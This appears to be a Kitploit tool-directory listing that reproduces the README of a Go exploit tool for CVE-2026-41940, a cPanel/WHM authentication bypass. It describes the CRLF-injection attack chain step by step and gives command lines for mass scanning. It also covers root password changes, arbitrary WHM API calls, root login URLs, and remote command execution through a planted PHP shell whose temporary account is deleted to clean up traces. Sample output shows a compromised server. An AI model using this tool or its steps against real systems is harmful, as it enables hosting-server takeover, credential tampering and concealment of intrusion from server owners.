Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cPanelWHM-AuthBypass — Go-based scanner and exploit tool for CVE-2026-41940, an authentication bypass in cPanel/WHM. Supports batch scanning, token leakage, and post-exploitation actions like RCE, password change, and API calls. | Kitploit
Tools/GitHubGitHub/kagantua/cpanelwhm-authbypass
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHubkagantua/cpanelwhm-authbypass

cPanelWHM-AuthBypass

Go-based scanner and exploit tool for CVE-2026-41940, an authentication bypass in cPanel/WHM. Supports batch scanning, token leakage, and post-exploitation actions like RCE, password change, and API calls.

View Repository
1073 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cPanel/WHM Auth Bypass Scanner & Exploit Tool

A Go command-line tool rewritten from the Python PoC by watchTowr, used to detect and exploit the CVE-2026-41940 cPanel/WHM authentication bypass vulnerability.

Vulnerability Overview

CVE-2026-41940 is an authentication bypass vulnerability in cPanel/WHM. The attack chain leaks security tokens and obtains WHM root privileges via CRLF injection into the Basic Auth header.

4-Stage Attack Chain:

  1. Pre-auth — Send incorrect credentials to /login/ to obtain the raw whostmgrsession cookie
  2. CRLF Injection — Inject newline characters via the Authorization: Basic header, tricking the server into leaking the cpsess security token in the Location header of a 307 redirect
  3. Token Propagation — Trigger do_token_denied to propagate the injected authentication data from raw storage to cache
  • Privilege Verification — Use the leaked token to access /json-api/version and verify root privileges
  • Features

    • Batch Scanning — Detect targets in bulk from a file with concurrent execution
    • Single Target Detection — Quickly verify a single URL
    • Smart URL Handling — Automatically handles http://, https://, and protocol-less formats, with automatic deduplication
    • Exploitation
      • Change root password (-passwd)
      • Invoke arbitrary WHM API (-api)
      • Generate one-click login URL (-session)
      • Remote command execution / RCE (-cmd)
    • Terminal Highlighting — [VULN] in red, [SAFE] in green
    • Result Saving — Vulnerable URLs automatically saved to a file

    Compilation

    root@kitploit:~
    # Requires Go 1.20+
    cd cpanel-checker
    go build -o cpanel-checker .
    

    Usage

    Parameter Overview

    ParameterDescriptionExample
    -uSingle target URL-u https://1.2.3.4:2087
    -fFile containing a list of URLs-f targets.txt
    -oOutput file path (default result.txt)-o vuln.txt
    -cConcurrency (default 10)-c 20
    -hostnameManually specify the Host header (default auto-discovery)-hostname cpanel.example.com
    -passwdChange root password (-u mode only)-passwd NewP@ss123
    -apiInvoke WHM API function (-u mode only)-api listaccts
    -api-paramsWHM API parameters, comma-separated-api-params user=root,password=123
    -sessionGenerate root one-click login URL (-u mode only)-session
    -keepKeep the RCE temporary account (used with -cmd)-keep
    -cmdExecute remote command / RCE (-u mode only)-cmd "id"

    1. Single Target Detection

    root@kitploit:~
    ./cpanel-checker -u https://target:2087
    

    The default port is 2087; the following are equivalent:

    root@kitploit:~
    ./cpanel-checker -u https://target
    ./cpanel-checker -u target
    

    2. Batch Scanning

    root@kitploit:~
    ./cpanel-checker -f targets.txt -c 20
    

    targets.txt supports the following formats (one per line, lines starting with # are comments):

    root@kitploit:~
    https://1.1.1.1:2087
    http://2.2.2.2:2087
    3.3.3.3:2087
    4.4.4.4
    # This is a comment
    
    • Automatic deduplication: http://1.1.1.1 and https://1.1.1.1 are treated as the same target and scanned only once
    • Protocol-less addresses are automatically prefixed with https://
    • Port-less addresses automatically use 2087
    • Results are saved to result.txt (customizable via -o)

    3. Change Root Password

    root@kitploit:~
    ./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
    

    4. Invoke Arbitrary WHM API

    root@kitploit:~
    # List all accounts
    ./cpanel-checker -u https://target:2087 -api listaccts
    
    # Invoke with parameters
    ./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
    

    5. Generate One-Click Login URL

    root@kitploit:~
    ./cpanel-checker -u https://target:2087 -session
    

    Outputs a URL that opens the WHM admin panel in a browser. Use the Terminal feature in the panel to obtain an interactive root shell.

    Note: -session is semi-automatic — after the tool generates the login URL, you need to manually open it in your browser.

    6. Remote Command Execution (RCE)

    root@kitploit:~
    ./cpanel-checker -u https://target:2087 -cmd "id"
    

    Add -keep to retain the temporary account for logging into the cPanel backend:

    root@kitploit:~
    ./cpanel-checker -u https://target:2087 -cmd "id" -keep
    

    When using -keep, the output includes the temporary account's username, password, and cPanel login address (https://host:2083). Use these credentials directly to log into the cPanel panel.

    -cmd is fully automatic and requires no other manual steps. Internal flow:

    1. Exploit the authentication bypass to obtain root privileges
    2. Create a temporary cPanel account via the WHM API
    3. Write a PHP shell to ~/public_html/ via UAPI (Fileman::save_file_content)
    4. Access https://host/~tmpuser/shell.php over HTTP to execute commands
    5. Return command output
    6. Automatically delete the temporary account (clean up traces)

    Prerequisite: Port 80 or 443 on the target must be reachable, and Apache/httpd must be running.

    7. Combined Usage

    Multiple exploitation parameters can be used simultaneously:

    root@kitploit:~
    # Get login URL, execute command, and change password at the same time
    ./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
    

    8. Manually Specify the Host Header

    When the target IP does not match the hostname configured in cPanel, specify it manually:

    root@kitploit:~
    ./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
    

    By default, the tool automatically discovers the correct hostname via the 307 redirect from /openid_connect/cpanelid.

    Output Examples

    Batch Scanning

    root@kitploit:~
    [1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
    [2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
    [3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
    [4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
    [5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
    
    ========== Scan Complete ==========
    Total: 5 | Vulnerable: 2
    
      ● https://1.1.1.1:2087
      ● https://4.4.4.4:2087
    
    [+] Results saved to result.txt
    

    RCE Execution

    root@kitploit:~
    [*] Target: https://target:2087
    [*] Mode: Exploitation
    
    [0] hostname = cpanel.example.com
    [1] minting a preauth session...
        session base = abc123def456
    [2] sending the CRLF injection (Basic auth + no-ob cookie)...
        leaked token = /cpsess1234567890
    [3] firing do_token_denied to propagate raw -> cache...
        gadget fired
    [4] verifying we're WHM root...
    [+] WHM root privileges obtained
    
    [*] Executing remote command (RCE)...
        [a] Creating temporary account: tmpabcde
        [b] Writing shell: /home/tmpabcde/public_html/random.php
        [c] Executing command: id
        [d] Cleaning up temporary account: tmpabcde
    [+] Command output:
    uid=0(root) gid=0(root) groups=0(root)
    
    [+] Done. https://target:2087 has been compromised
    

    Notes

    • Exploitation parameters (-passwd, -api, -session, -cmd) are only available in -u single-target mode and are not supported in -f batch mode
    • The tool skips TLS certificate verification by default
    • Request timeout is 15 seconds
    • Lines starting with # in the URL file are ignored

    Disclaimer

    This tool is for authorized security testing and research purposes only. Testing systems without authorization is illegal. Users must ensure they have obtained explicit written authorization from the target system owner. The author is not responsible for any misuse.

    Credits

    • Original PoC: watchTowr / Sina Kheirkhah (@SinSinology)
    • CVE: CVE-2026-41940
    Download Tool